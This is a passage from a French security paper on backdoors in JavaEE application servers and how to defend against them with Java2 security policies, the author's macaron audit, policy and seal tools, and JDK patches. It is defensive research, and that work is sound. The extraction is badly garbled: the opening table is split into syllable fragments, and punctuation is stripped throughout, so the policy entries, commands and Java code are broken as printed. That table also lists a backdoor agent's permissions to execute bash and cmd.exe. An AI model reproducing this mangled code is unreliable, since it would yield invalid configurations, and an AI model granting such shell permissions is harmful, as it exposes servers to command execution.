Java
javalangRuntimePermission
createClassLoader
javaioFilePermission
$javahomeclassesread
javaioFilePermission
$javahomeclasses-read
javaioFilePermission
$javahomelib-read
Agen
tp
erm
etta
nt
laco
mp
ilati
on
de
cod
eJava
alrsquoaid
ed
rsquoAJP
le
com
pilate
ur
de
JS
P
Exte
nsi
on
agen
tJava
pou
rT
om
cat
javaioFilePermission
$catalinahomecommonlibread
javaioFilePermission
$catalinahomecommonendorsedread
javaioFilePermission
$catalinahomecommonendorsedread
Les
dro
its
sup
ple
men
tair
esp
ou
rco
mp
iler
du
cod
eso
us
Tom
cat
Exte
nsi
on
agen
tJava
pou
ru
ne
com
pilati
on
via
toolsjar
javautilPropertyPermission
javaiotmpdirread
javautilPropertyPermission
javaclasspathread
javautilPropertyPermission
javaendorseddirsread
javautilPropertyPermission
javaextdirsread
javautilPropertyPermission
sunbootclasspathread
javaioFilePermission
$javahomeclassesread
javaioFilePermission
$javahomeclasses-read
javaioFilePermission
$javahomelib-read
javaioFilePermission
$javahomelibtoolsjarread
javaioFilePermission
$javaiotmpdirread
javaioFilePermission
$javaiotmpdir-readwritedelete
javaioFilePermission
read
javaioFilePermission
-read
javaioFilePermission
$javahomelib-read
javaioFilePermission
$javahomelibtoolsjarread
javaioFilePermission
$javaiotmpdirread
javaioFilePermission
$javaiotmpdir-readwritedelete
javaioFilePermission
read
javaioFilePermission
-read
Les
dro
its
sup
ple
men
tair
esp
ou
rco
mp
iler
avec
tools
jar
siA
JP
nrsquoe
stp
as
dis
pon
ible
Agen
tS
hel
l
javaioFilePermission
binbashexecute
javaioFilePermission
WINDOWSSytem32cmdexeexecute
javaioFilePermission
commandcomexecute
Agen
tp
rop
osa
nt
un
shel
l
426 Porte derobee dans les serveurs drsquoapplications JavaEE
Les serveurs drsquoapplications utilisent rarement la securite Java2 Pourquoi Lesdeveloppeurs nrsquoayant jamais teste ce mode ils ne connaissent pas les droits minimumsa ouvrir Dans le doute pour ne pas faire planter lrsquoapplication tous les privilegessont ouverts
Utiliser la securite Java2 complexifie lrsquoinstallation des composants car il fautmodifier un fichier global du serveur drsquoapplication (policy) Nous proposons plusbas une solution pour ameliorer cela
Tomcat propose un parametre de lancement pour utiliser la securite Java2
$ catalinash run -security
Il aurait ete preferable drsquoavoir la securite par defaut et un parametre pour lasupprimer
JBoss ne propose pas nativement la securite Java 2 Le wiki11 indique commentmodifier le script de lancement pour ajouter les droits Il nrsquoest pas possible drsquoindiquerdes droits differents pour chaque composant ou chaque archive Les droits a ouvrirsont globaux a tous les composants et toutes les archives des composants car ledeploiement srsquoeffectue par defaut dans un repertoire dont le nom est aleatoire Ainsisans modification du deploiement de JBoss la porte derobee est pratiquement toujourspossible En ouvrant un droit pour un composant evolue les privileges sont egalementdisponibles pour les injections
51 Utilisation de la securite Java2
Il est difficile de connaıtre precisement lrsquoensemble des privileges necessaires achaque archive Les projets nrsquoindiquent generalement pas cette information
Pour remedier a cela et faciliter la prise en compte de la securite Java2 coteserveur nous proposons a tous les projets drsquoutiliser la convention suivante
ndash Pour chaque archive un fichier META-INFjarpolicy doit etre propose Cedernier indique a titre informatif les privileges minimum necessaires a lrsquoutili-sation du composant La syntaxe de ce fichier est conforme aux specificationsJava 12 Les privileges doivent etre indiques a titre global sans signedBy oucodeBase
Par exemple le fichier suivant indique des privileges pour une archive specifique
grant
permission javautilloggingLoggingPermission
control
permission javautilPropertyPermission
11 httpwwwjbossorgcommunitydocsDOC-938012 httpjavasuncomj2se13docsguidesecurityPolicyFileshtml
P Prados 427
javaiotmpdirread
permission javaioFilePermission
ltltALL FILES gtgtread write
permission javaioFilePermission
$javaiotmpdir read write delete
Lrsquoutilitaire macaron-policy que nous proposons permet alors drsquoagreger tous lesprivileges necessaires a un composant WAR ou EAR pour produire un fichier deprivilege complet Vous le trouverez avec drsquoautres utilitaires ici httpmacarongooglecodecom Il est capable de prendre en entree un composant JavaEE un fichierpolicy deja present ou une log de JVM executee avec la variable drsquoenvironnement-Djavasecuritydebug=accessfailure
Sur le site une video presente egalement un cas drsquoutilisation de cet outil
De ces trois sources drsquoinformations le programme extrait les privileges necessaireset peut egalement modifier directement un fichier policy existant
$ macaron -policy --output MonComposantpolicy
MonComposantear
Le fichier produit doit etre adapte au contexte drsquoexecution avant drsquoetre inseredans le serveur drsquoapplications
Comme le fichier resultat est generalement dependant du serveur drsquoapplicationil est parfois difficile de decrire les privileges globalement dans une archive sansadherence a un serveur particulier Pour contourner cela des variables peuvent etreutilisees dans les fichiers META-INFjarpolicy
Lors de la generation du fichier de politique de securite il est possible de lesvaloriser pour les specialiser pour le serveur drsquoapplications cible Nous proposons lesconventions suivantes
Tab 1 Variables de politique de securite
Variable Description
$serverhome Repertoire racine du serveur drsquoapplications$serverlib Repertoire des librairies du serveur drsquoapplications$webappbase Repertoire de base de deploiement des composants$webapphome Repertoire de deploiement du composant
Ainsi une archive desirant avoir un acces en ecriture dans le repertoire log durepertoire de deploiement du composant doit indiquer dans le fichier jarpolicy leprivilege suivant
428 Porte derobee dans les serveurs drsquoapplications JavaEE
grant
permission javaioFilePermission $webapphomelogread write
Lors de lrsquoexecution de lrsquoutilitaire les variables peuvent etre valorisees soit directe-ment par la ligne de commande (parametre -D classique) soit en indiquant un ouplusieurs fichiers de proprietes (parametre -P) Les variables non valorisees restentdisponibles Conformement aux specifications des fichiers policy elles devront etrevalorisees lors du lancement de la machine virtuelle par des variables systemes
Le fichier de propriete pour Tomcat est le suivant
serverhome=$catalinahome
serverlib=$catalinahome serverlib
webappsbase=file$catalinabase webapps
webappshome=$webappsbase$basename
La variable $basename est la seule inconnue de Tomcat Il faut la valoriser pourlrsquoadapter au nom du repertoire servant a deployer le composant Par defaut cettevariable est valorisee avec le nom du composant lui-meme mais cela peut etre modifieen ligne de commande
$ macaron -policy -P tomcatproperties
-Dbasename=sample
Vous pouvez egalement choisir de laisser cette variable en etat et la valoriser lorsdu lancement de la JVM du serveur drsquoapplication
$ macaron -policy -P tomcatproperties
-Dbasename=$basename
$ export JAVA_OPTS=- Dbasename=sample
$ $TOMCAT_HOMEbincatalinash run -security
Une invocation de lrsquooutil pour Tomcat ressemble lsquoa ceci
$ macaron -policy --output MonComposantpolicy
-P tomcatproperties MonComposantear
Le fichier produit peut avoir deux formes Il declare des privileges pour chaquearchive (recommande)
Privileges separes
grant codebase file$catalinabase webappsMonComposantWEB -INFlibl1jar
permission javautilloggingLoggingPermission control
permission javaioFilePermission -read write
grant codebase file$catalinabase webappsMonComposantWEB -INFlibl2jar
permission javautilPropertyPermission javaiotmpdirread
permission javaioFilePermission $javaiotmpdir read write delete
P Prados 429
ou tous les privileges globalement (parametre --merge )
Privileges globaux
grant
permission javautilloggingLoggingPermission control
permission javaioFilePermission -read write
permission javautilPropertyPermission javaiotmpdirread
permission javaioFilePermission $javaiotmpdir read write delete
Cela permet de traiter les serveurs drsquoapplications nrsquoetant pas capable de definirfinement les privileges JBoss par exemple utilise par defaut un repertoire aleatoirepour le deploiement Il est possible de supprimer cette fonctionnalite
La variable $prefix est utilisee en introduction du codebase avant le nomde lrsquoarchive Elle est valorisee par defaut a $webappshome pour repondre auxcomposants JavaEE En la modifiant il est possible drsquoexploiter les privileges pourdrsquoautres contextes drsquoexecutions une application Swing par exemple
Comme la plupart des archives nrsquoindiquent pas les privileges dont elles ont besoinet qursquoil est difficile de les identifier a priori nous proposons une base de donneecollaborative13 pour permettre a chacun de lrsquoalimenter
Lrsquoutilitaire recherche le fichier META-INFjarpolicy dans chaque composantSrsquoil ne le trouve pas une requete est envoyee a la base de donnee pour recuperer laderniere version des privileges publies Si le composant nrsquoest pas present dans la basede donnees le programme lrsquoignore et ne genere pas de privilege pour ce composant Sipar la suite vous souhaitez faire enregistrer les privileges identifies sur un composantparticulier inscrivez-vous sur le site et partagez votre decouverte
Vous pouvez construire votre propre base de donnees La variable drsquoenvironnementPOLICY DATABASE ou le parametre --database permettent drsquoindiquer le format delrsquoURL a utiliser La chaine de caracteres est convertie en nom de lrsquoarchive avantlrsquoinvocation
Les exemples suivants sont des URLs de base de politique valides ndash httplocalhostpolicyparam=
ndash httpslocalhost
ndash filedatabasepolicypolicy
ndash policypolicy
Une base dans un repertoire local peut donc etre utilisee aussi facilement qursquounebase distante sur HTTP ou HTTPS Il suffit drsquoavoir des fichiers comme spring-core-
-255jarpolicy avec les privileges necessaires dans le repertoire databasepolicyCela permet drsquoutiliser des privileges normalises au sein de lrsquoentreprise
13 httpmacaron-policygooglecodecom
430 Porte derobee dans les serveurs drsquoapplications JavaEE
Lrsquoutilitaire lui-meme respecte les conventions proposees Lrsquoarchive policy-jar
possede un fichier META-INFjarpolicy A titre de demonstration nous pouvonsappliquer lrsquoutilitaire a lui-meme
$ macaron -policy --merge --output securitypolicy
$MACARON_HOMElibpolicy -jar
Cette commande demande la generation drsquoun fichier securitypolicy avec tousles privileges declares dans le fichier META-INFjarpolicy presents dans lrsquoarchivepolicy-jar Nous souhaitons que les privileges soient declares globalement Nouspouvons immediatement utiliser le resultat pour relancer lrsquoutilitaire mais cette foisavec la securite Java2 activee
$ JAVA_OPT=-Djavasecuritymanager
-Djavasecuritypolicy=securitypolicy
macaron -policy --output -
$MACARON_HOMElibpolicy -jar
Les privileges demandes sont les suivants
grant
permission javautilloggingLoggingPermission control
permission javautilPropertyPermission
javaiotmpdirread
permission javaioFilePermission
ltltALL FILES gtgtread write
permission javaioFilePermission
$javaiotmpdir read write delete
permission javanetSocketPermission
80 connect resolve
permission javanetSocketPermission
443 connect resolve
permission javalangRuntimePermission
getenvPOLICY_DATABASE
Ils sont parfaitement conformes aux fonctionnalites de lrsquooutilPour enrichir un fichier existant il suffit de lrsquoindiquer dans le parametre --policy
Ainsi pour injecter directement les privileges dans le fichier de Tomcat vous pouvezutiliser la commande suivante
$ macaron -policy
--policy $CATALINA_HOMEconfcatalinapolicy
MonComposantwar
Les privileges extraits ne sont generalement pas suffisants Ils constituent unpremier jet a enrichir avec le contexte drsquoexecution Par exemple vous ne trouverezpas de privileges pour les connections reseaux dans les fichiers jarpolicy
P Prados 431
Pour identifier les problemes de securite ajoutez -Djavasecuritydebug=access-failure dans la ligne de commande de la JVM cela trace toutes les invocations Levolume de logs etant important il est preferable drsquoinjecter le resultat dans un fichier
$ export JAVA_OPTS=-Djavasecuritydebug=access failure
$ $CATALINA_HOMEbincatalinash run
-security gtaccesslog 2gtamp1
La trace produite par la JVM lors de la presence du parametre javasecuritydebugnrsquoest pas tres lisible Elle est tres volumineuse et melange les privileges accordes desprivileges refuses
Il est possible de ne tracer qursquoun type de privilege limitant ainsi le volume destraces
-Djavasecuritydebug=access failure permission=javalangRuntimePermission
Ou bien de ne tracer que les privileges necessaires a un composant particulier
-Djavasecuritydebug =
access failure codebase =
file$TOMCAT_HOMEwebappssample
Un parametre de lrsquooutil macaron-policy permet une analyse des traces produiteslors de lrsquoutilisation de la variable javasecuritydebug
macaron -policy --accesslog accesslog
Cela permet drsquoinjecter les dernieres erreurs detectees lors de lrsquoabsence drsquounprivilege
$ macaron -policy
--accesslog accesslog
--policy $CATALINA_HOMEconfcatalinapolicy
$CATALINA_HOMEwebappsMonComposantwar
Comme les erreurs presentes dans les logs utilisent des codeBase sans variable leresultat produit nrsquoest pas exactement celui attendu dans le fichier catalinapolicyPour corriger cela lrsquooutil est capable de faire une analyse inverse de variable Crsquoest adire qursquoil detecte dans le codeBase srsquoil nrsquoexiste pas une valeur correspondant a unevariable Si crsquoest le cas il la remplace par le nom de la variable Pour cela il fautdeclarer des variables inverses a lrsquoaide du parametre -I
$ macaron -policy
--accesslog accesslog
-Icatalinabase=$CATALINA_HOME
--policy $CATALINA_HOMEconfcatalinapolicy
MonComposantwar
432 Porte derobee dans les serveurs drsquoapplications JavaEE
Ainsi le fichier catalinapolicy est automatiquement mis a jour avec les derniersprivileges refuses a lrsquoapplication lors de la derniere execution
Pour identifier tous les privileges il faut alors proceder par iteration Cela estfastidieux mais grandement facilite par lrsquooutil macaron-policy
Tant qursquoil y a encore des privileges a ajouterndash Lancer le serveur drsquoapplication avec les logs drsquoacces actifs ndash Verifier lrsquoapplication jusqursquoa trouver un refus de privilege ndash Arreter le serveur drsquoapplications ndash Injecter les privileges manquant dans le fichier policy ndash RecommencerCela donne dans le cas de Tomcat le scenario suivant
$ export
JAVA_OPTS=-Djavasecuritydebug=access failure
$ while [ true ] do
echo -n ltCtrl -Cgt or ltCRgt to analyse and launch tomcat read
macaron -policy
-P tomcatproperties
--policy $CATALINA_HOMEconfcatalinapolicy
--accesslog accesslog
-Icatalinabase=$CATALINA_HOME $CATALINA_HOMEwebappsmyappwar
echo launch tomcat
$CATALINA_HOMEbincatalinash run -security gtaccesslog 2gtamp1
done
Il est egalement possible drsquoinitialiser une base de donnees locale Le resultatproduit doit etre repris a la main pour regrouper des privileges inserer des variablesqualifier veritablement les privileges en supprimer certains etc Le resultat ne devraiten aucun cas etre exploite tel quel Pour cela il faut ajouter le parametre --extract
en indiquant le prefixe des codeBase a extraire et indiquer le repertoire de destinationdans le parametre --output Par exemple pour extraire tous les privileges calculeesextraits drsquoune trace ou recuperes dans un fichier policy il faut proceder ainsi
$ macaron -policy
--loglevel info
--extract
--output mypolicydatabase
--policy $CATALINA_HOMEconfcatalinapolicy
Grace a cet outil il est beaucoup plus facile de produire le fichier de synthese desprivileges et drsquoutiliser la securite Java2 Bien entendu le fichier resultat doit etreconsulte avec attention avant sa mise en production Lrsquooutillage propose facilite sageneration Il ne garantit pas une securite optimum
Chaque projet peut utiliser plus ou moins de fonctionnalite drsquoun composant Lesprivileges presents dans les fichiers jarpolicy ou la base de donnees sont necessaires
P Prados 433
a lrsquoensemble des fonctionnalites Il est possible de supprimer des privileges srsquoils nesont pas exploites dans lrsquoapplication
Par mesure de securite le privilege javasecurityAllPermission nrsquoest pasautorise dans les fichiers sauf demande explicite en ligne de commande Utilisez leparametre --help pour avoir plus drsquoinformations
$ macaron -policy --help
52 Signature numerique
Une alternative consiste a signer numeriquement les archives lorsqursquoil est garantieqursquoelles sont saines Un couple de clef privepublic est utilise pour signer les archivesdont lrsquoentreprise a appliquer tous les outils de qualification comme lrsquooutil macaron-auditdecrit ci-dessous La clef privee est utilisee pour signer les archives avant de lespublier dans le repository de lrsquoentreprise Tous les privileges ou seulement certainspeuvent alors etre accordes globalement
grant codebase foocom Signedby foo
Principal comsunsecurityauthSolarisPrincipal duke
permission javasecurityAllPermission
Il est preferable de nrsquoaccorder que les privileges necessaires a chaque composant
53 Defense passive
Lors de lrsquoanalyse drsquoun composant JavaEE differents symptomes peuvent eveillerles soupcons
ndash La presence de packages de meme nom dans des archives differentes ndash La presence de fichiers de meme nom avec des extensions differentes dans les
memes packages ndash La presence de fichiers de meme nom dans des packages differents ndash La presence de fichiers dans META-INFservices ndash La presence de certaines annotationsNous proposons un outil drsquoaudit de composants Vous le trouverez avec drsquoautres
utilitaires ici httpmacarongooglecodecom Ce dernier prend en parametredes composants JavaEE des repertoires etou des archives Il analyse lrsquoensemble pourdetecter les pieges
Un fichier au format XML permet de synthetiser les resultats
$ macaron -audit --output auditxml MonComposantear
$ firefox auditxml
434 Porte derobee dans les serveurs drsquoapplications JavaEE
Le rapport XML est consultable dans un navigateur grace a une feuille de stylespecifique permettant la navigation dans les resultats
Fig 14 Audit
Grace a la feuille de style lrsquoimpression de cette page presente tous les resultatsLrsquoexperience montre qursquoil y a effectivement des classes similaires dans plusieurs
archives differentes du meme projet des noms de fichiers identiques present a differentsendroits etc
ltpackages gt
ltpackage
name=orgaspectjinternallangannotationgt
ltcontext gtaspectjweaver -161 jarltcontext gt
ltcontext gtaspectjrt -160 jarltcontext gt
ltpackage gt
ltpackages gt
Pour eviter les faux positifs un parametre permet drsquoindiquer des regles drsquoexclusionsComme le format du fichier des regles drsquoexclusions est strictement identique au fichierde resultat drsquoune analyse il est possible drsquoeffectuer un premier tir sur une instancede confiance ou limitees aux archives saines du projet et drsquoutiliser le resultat pour lestirs suivant Ainsi seules les nouvelles alertes seront exposees
$ macaron -audit --output ignorexml MonComposantear
$ macaron -audit --ignore ignorexml
-output auditxml
MonComposantear
P Prados 435
Certains fichiers sont presents en nombre dans les archives Ils peuvent etre exclusglobalement
ltfilenames gt
ltfilename name=MANIFESTMF gt
ltfilename name=INDEXLIST gt
ltfilename name=packagehtml gt
ltfilenames gt
Cette approche presente le risque de cacher une attaque eventuelle car les exclusionsne sont pas associees a des archives specifiques
Il est preferable de selectionner judicieusement les archives a utiliser dans leprojet pour eviter les faux-positifs Par exemple avec Maven il est possible drsquoexclurecertaines dependances malheureuses
ltdependency gt
ltgroupId gtorgspringframework ltgroupId gt
ltartifactId gtspring -aspects ltartifactId gt
ltversion gt255ltversion gt
ltexclusions gt
ltexclusion gt
ltgroupId gtorgaspectj ltgroupId gt
ltartifactId gtaspectjrt ltartifactId gt
ltexclusion gt
ltexclusions gt
ltdependency gt
Les dependances declarees entrainent la presence de packages identiques dansdeux archives differentes Lrsquoune est incluse dans lrsquoautre Il est preferable de supprimerdu projet lrsquoarchive aspectjrt que drsquoajouter des exceptions dans le fichier ignorexml
Lrsquooutil drsquoaudit permet de se focaliser sur les differents pieges possibles mais passur les techniques drsquoinjections de code lors de lrsquoanalyse drsquoune requete HTTP Celadoit etre controle par lrsquoutilisation de la securite Java2
54 Defense active
Pour eviter le risque de surcharge de classe ou le contournement des privilegesaccordes aux packages Java propose deux mecanismes14
Le premier permet drsquointerdire la consultation ou lrsquoajout de classes dans certainspackages (les packages java et sun par exemple) Ce mecanisme est mis en placepar la valorisation de deux variables drsquoenvironnement systeme de la JVM (pack-agedefinition et packageaccess) Tomcat utilise cela pour proteger les classes duserveur drsquoapplication vis a vis des classes des composants applicatifs (voir le fichiercatalinaproperties)
14 httpjavasuncomdeveloperJDCTechTips2001tt0130html
436 Porte derobee dans les serveurs drsquoapplications JavaEE
Le deuxieme mecanisme permet drsquointerdire a des classes drsquoun meme package drsquoetrepresentes dans des archives differentes Cela srsquoeffectue par un parametre dans lefichier MANIFESTMF Si ce dernier possede le parametre Sealed true tous lespackages de lrsquoarchive sont proteges Il est egalement possible de sceller les packagesindividuellement15 Ces verifications ne sont effectuees que si la securite Java2 estactivee
En placant les fichiers properties dans les memes repertoires que les classes duprojet (ce qui est fortement conseille) il nrsquoest plus possible drsquoajouter une classe pourdetourner le flux de traitement lors de la consultation drsquoun ResourceBundle
Si les fichiers properties sont dans des repertoires sans aucune classe il ne serta rien de les sceller Le scellement ne concerne que les classes
Pour sceller une archive avec Maven2 il faut ajouter dans le fichier pomxml lesinstructions suivantes
ltbuildgt
ltplugins gt
ltplugin gt
ltartifactId gtmaven -jar -plugin ltartifactId gt
ltconfiguration gt
ltarchive gt
ltmanifestEntries gt
ltSealed gttrueltSealed gt
ltmanifestEntries gt
ltarchive gt
ltconfiguration gt
ltplugin gt
ltplugins gt
ltbuildgt
Comme la tres grande majorite des archives Open Source ne sont pas scellees ilfaut les modifier pour ajouter les protections necessaires Une etude sur pres de millecomposants montre que moins drsquoun pour-mille est scelle etou signe
Nous proposons un utilitaire srsquooccupant drsquoajouter lrsquoattribut Sealed true a tousles composants et toutes les librairies (httpmacarongooglecodecom)
$ macaron -seal --in -place MonComposantear
Cette commande scelle tous les packages de toutes les archives du composantLes fichiers META-INFMF des librairies presentes dans le repertoire WEB-INFlib desfichiers war et les librairies des EJBs sont modifies pour sceller tous les packages
Pour plus drsquoinformations invoquez lrsquoaide
$ macaron -seal --help
15 httpjavasuncomj2se13docsguideextensionsspechtmlsealing
P Prados 437
Il est possible drsquoappliquer recursivement ce scellement a un referentiel MavenIl faut alors adapter en meme temps les hashs SHA1 srsquoils sont presents Ces hashspeuvent etre verifies lors du telechargement drsquoun composant dans le cache local
$ macaron -seal --in -place --sha1 -R m2repository
De meme pour un repository Ivy
$ macaron -seal --in -place -R ivy2cache
Le resultat drsquoun audit precedant peut servir a exclure des packages du processusAinsi il est facile de renforcer une instance du serveur Tomcat par exemple endemandant un audit du code puis en scellant les packages ne presentant pas deproblemes
$ macaron -audit --output audit -tomcatxml
-R $CATALINA_HOME
$ macaron -seal --ignore audit -tomcatxml
-R $CATALINA_HOME --in -place
Ces deux commandes peuvent srsquoeffectuer en une seule fois a lrsquoaide de pipe
$ macaron -audit --output - -R $CATALINA_HOME |
macaron -seal --ignore - -R $CATALINA_HOME --in-place
La version de Tomcat durcie possede des archives scellees sauf pour les quelquespackages partages par differentes archives Lors de lrsquoutilisation de la securite Java2elle est plus resistante aux pieges
$ $CATALINA_HOMEbincatalinash run -security
Cette approche interdit une partie des injections de code de type ResourceBundleLes ResourcesBundles presents dans des repertoires ou il nrsquoy a pas drsquoautres classessont toujours vulnerables
Il est egalement possible drsquoavoir un audit signalant les packages scelles Le resultatest un fichier XML avec une feuille de style XSLT pour une consultation dans unnavigateur
$ macaron -seal --audit sealedxml MonComposantwar
$ firefox sealedxml
438 Porte derobee dans les serveurs drsquoapplications JavaEE
55 Reduction du risque des META-INFservices
La securite Java2 permet drsquoautoriser des classes a effectuer certains traitementsElle permet egalement de determiner les privileges drsquoune classe avant son utilisation
Pour reduire le risque drsquoune utilisation malveillante de services nous proposonsdrsquoapporter quelques modifications a la classe javautilServiceLoader du JDK6 etsuivant
Cette classe normalise lrsquoutilisation des services et propose une API pour recuperertoutes les implementations drsquoune interface
Lrsquoimplementation actuelle ne verifie aucun privilege pour lrsquoinstallation drsquoun nou-veau service Nous proposons drsquoajouter la classe javautilServicePermission et drsquoa-jouter la verification du privilege associe lors de lrsquoinstallation drsquoun nouveau servicedans la classe ServiceLoader
if (SystemgetSecurityManager ()=null)
final Permission perm=
new ServicePermission(servicegetName ())
AccessControllerdoPrivileged(
new PrivilegedAction ltObject gt()
public Object run()
if (clazzgetProtectionDomain ()implies(perm))
throw new AccessControlException(
install service denied perm perm)
return null
)
Lrsquoajout de ce test permet de srsquoassurer que lrsquoarchive proposant drsquoajouter un nouveauservice en a le privilege Seul le CodeBase implementant le service doit posseder leprivilege Lrsquoappelant du service nrsquoen a pas besoin
Un patch en ce sens est propose a la communaute Ce dernier modifie egalement lesclasses des packages javaxxml et orgw3c pour qursquoelles utilisent ServiceLoader
De nombreuses autres classes du JDK utilisent le mecanisme de services sansutiliser la classe ServiceLoader Elles sont toujours vulnerables Il srsquoagit des classesdes packages suivants
ndash comsunndash orgrelaxingdatatype
ndash sunmisc
P Prados 439
Il faut egalement proceder de meme pour les classes de JavaEE Un diffstat surles modifications indique lrsquoetendue de la mise a jour et les classes impactees
j2sesrc javautilServiceLoaderjava | 42 +-
j2sesrc javautilServicePermissionjava | 74 ++++
j2sesrc javaxxmlbindContextFinderjava | 66 ---
j2sesrc javaxxmldatatypeFactoryFinderjava | 85 ----
j2sesrc javaxxmlparsersDocumentBuilderFactoryjava | 12
j2sesrc javaxxmlparsersFactoryFinderjava | 94 -----
j2sesrc javaxxmlparsersSAXParserFactoryjava | 17
j2sesrc javaxxmlsoapFactoryFinderjava | 39 --
j2sesrc javaxxmlstreamFactoryFinderjava | 84 ----
j2sesrc javaxxmltransformFactoryFinderjava | 86 ----
j2sesrc javaxxmlvalidationSchemaFactoryFinderjava | 36 +
j2sesrc javaxxmlwsspiFactoryFinderjava | 56 +--
j2sesrc javaxxmlxpathXPathFactoryFinderjava | 182 +---------
j2sesrc orgw3cdombootstrapDOMImplementationRegistryjava | 45 --
15 files changed 283 insertions (+) 646 deletions(-)
Ainsi pour pouvoir installer un nouveau service il faut avoir declare le privilegecorrespondant dans le projet
grant
permission javautilServicePermission
javaxxmlparsersSAXParserFactory
En attendant lrsquointegration de la modification dans le JDK il faut ajouter unparametre au chargement de la machine virtuelle
$ java -Xbootclasspathppatch -ServiceLocator -6jar
Une approche similaire est envisageable pour le JDK5 mais nrsquoa pas ete implementeecar la classe ServiceLoader nrsquoest pas presente
Si vous ne souhaitez pas utiliser le patch indiquez en variable systeme tous lesanalyseurs utilises
-DjavaxxmlparsersSAXParserFactory =
comsunorgapachexercesinternaljaxpSAXParserFactoryImpl
-DjavaxxmlparsersDocumentBuilderFactory =
comsunorgapachexercesinternaljaxpDocumentBuilderFactoryImpl
De plus pour eviter toute ambiguıte Tomcat 6x devrait etre modifie pour utiliserle parseur XML du serveur drsquoapplication lors de lrsquoanalyse des fichiers TLDs a laplace du parseur livre par le composant WEB Cela a ete signale (CVE-2009-0911)par nos soins et sera pris en compte dans une prochaine version de Tomcat
440 Porte derobee dans les serveurs drsquoapplications JavaEE
56 Reduction du risque des ResourcesBundles
Pour reduire le risque drsquoexecution invisible de code lors de lrsquoutilisation desressources il faut modifier lrsquoalgorithme de resolution des ResourcesBundles
Fig 15 Nouveau RessourceBundle
La nouvelle version de lrsquoalgorithme recherche en priorite les fichiers propertiesavant de rechercher les classes Si un seul fichier properties existe les classes ne sontpas recherchees Cette legere modification de la semantique doit etre pratiquementinvisible Malgre nos recherches nous nrsquoavons jamais rencontre de situation ou unfichier properties doit legitimement etre surcharge par une classe
Il est possible drsquoavoir un apercu des impacts en consultant le resultat de cette page httpwwwgooglecomcodesearchq=extends+PropertyResourceBundle+lang
3Ajava
Nous proposons un correctif de la classe ResourceBundle pour le JDK5 Lrsquoarchivepatch-ResourceBundle-5jar propose une modification de la classe standard deJava Pour lrsquoutiliser il faut ajouter un parametre au chargement de la machinevirtuelle
$ java -Xbootclasspathppatch -ResourceBundle -5 jar
Le JDK6 offre de nouvelles fonctionnalites pour lrsquoutilisation des RessourcesBundlesvia une refonte totale de cette classe En outre il est possible de specifier un objet encharge de gerer le chargement des ressources Nous proposons le singleton suivantpermettant drsquoordonner le chargement des ressources
static final ResourceBundleControl securityControl =
new ResourceBundleControl ()
private ConcurrentHashMap ltString String gt
cacheType=
new ConcurrentHashMap ltString String gt()
public List ltString gt getFormats(String baseName)
return CollectionsunmodifiableList(
P Prados 441
ArraysasList(securityorder))
public ResourceBundle newBundle(String baseName
Locale locale
String format ClassLoader loader
boolean reload)
throws IllegalAccessException
InstantiationException IOException
ResourceBundle bundle=null
if (formatequals(securityorder))
String lastFormat=cacheTypeget(baseName)
if (lastFormat ==null)
bundle=supernewBundle(baseName locale
javaproperties
loader reload)
if (bundle =null)
cacheTypeput(baseName javaproperties)
else
cacheTypeput(baseName javaclass)
bundle=supernewBundle(baseName locale
javaclass
loader reload)
else
bundle=supernewBundle(baseName locale
lastFormat
loader reload)
return bundle
public boolean needsReload(String baseName
Locale locale
String format
ClassLoader loader
ResourceBundle bundle
long loadTime)
boolean result=
superneedsReload(baseName locale
format loader bundle loadTime)
if (result)
cacheTyperemove(baseName)
return result
Il doit etre utilise a chaque invocation de RessourceBundle
442 Porte derobee dans les serveurs drsquoapplications JavaEE
ResourceBundlegetBundle(Messages securityControl)getString(key)
Comme cette approche nrsquoest pas utilisee systematiquement par les projets ilest preferable drsquoenvisager un patch du JDK6 Lrsquoarchive patch-ResourceBundle-6jarpropose une modification de la classe standard de Java Les modifications sontminimes
Un diffstat indique lrsquoetendu des modifications
ResourceBundlejava | 108 +++++++++++++++++++++++++++-------------------------
1 file changed 58 insertions (+) 50 deletions(-)
Lrsquoalgorithme recherche une ressource format par format et non tous les formatsa la fois Lrsquoordre par defaut des formats est egalement modifie pour privilegier leformat javaproperties avant le format javaclass Pour utiliser le patch il faut ajouterun parametre au chargement de la machine virtuelle
$ java -Xbootclasspathppatch -ResourceBundle -6 jar
Si un utilisateur souhaite melanger des ressources au format properties et desressources au format class il doit nrsquoutiliser que le format class et simuler alors leformat properties
mv sampleproperties sampleprop
public static class sample extends PropertyResourceBundle
public sample () throws IOException
super(sampleclassgetResourceAsStream(
rsquorsquo+sampleclassgetName ()
replace(rsquorsquorsquorsquo)+prop))
6 Conseils pour se proteger
Voici quelques regles de bonnes pratiques pour se proteger autant que possibledes portes derobees generiques
Le premier conseil est drsquoexecuter le serveur drsquoapplications avec la securite Java2activee Il faut ouvrir les privileges pour chaque archive une a une et non globalementpour le composant Ainsi un droit offert a un framework nrsquoest pas disponible pour laporte derobee presente dans une autre archive
P Prados 443
Malheureusement les frameworks indiquent rarement les privileges necessairesSeul un test permet drsquoouvrir au fur et a mesure lrsquoensemble des droits necessaireset uniquement ceux-ci Crsquoest un processus long et complexe car les erreurs lors delrsquoabsence drsquoun privilege ne sont pas toujours explicites Il faut effectuer un test completde lrsquoapplication pour verifier qursquoaucun privilege nrsquoait ete oublie En demandant latrace de tous les privileges refuses il est envisageable de les synthetiser plus facilement
$ export JAVA_OPTS=-Djavasecuritydebug=access failure
$ $CATALINA_HOMEbincatalinash run -security 2gtamp1 | grep ^ access
Les logs indiquent les privileges accordes mais sont difficiles a interpreter
access access allowed (javalangRuntimePermission accessDeclaredMembers)
access access allowed(javaioFilePermissionwebappsbackdoorjee -sample
WEB -INFclassesorgspringframeworkwebservletmvcannotationAnnotation
MethodHandlerAdapterBeanInfoclass read)access access denied (javalang
RuntimePermission defineClassInPackagejavalang)
Pour faciliter cette etape nous proposons une base de donnees des privilegesnecessaires aux composants16 Nous comptons sur les lecteurs pour lrsquoenrichir
Le deuxieme conseil important Ne faites pas confiance aux referentiels Uneattaque sur le referentiel Mavenx par exemple et tous vos projets possedent des portesderobees generiques
Pour srsquoassurer de la bonne sante des composants a deployer effectuez un audit deces derniers et cherchez des explications convaincantes pour toutes les alertes avantde les declarer comme des laquo faux positifs raquo
Enfin testez lrsquoutilisation de la porte derobee de demonstration dans votre projet Ilsuffit drsquoajouter une archive Il nrsquoest pas necessaire de modifier le code de lrsquoapplicationSi les traces du serveur drsquoapplications signalent la reussite de lrsquoinjection modifiezvotre configuration
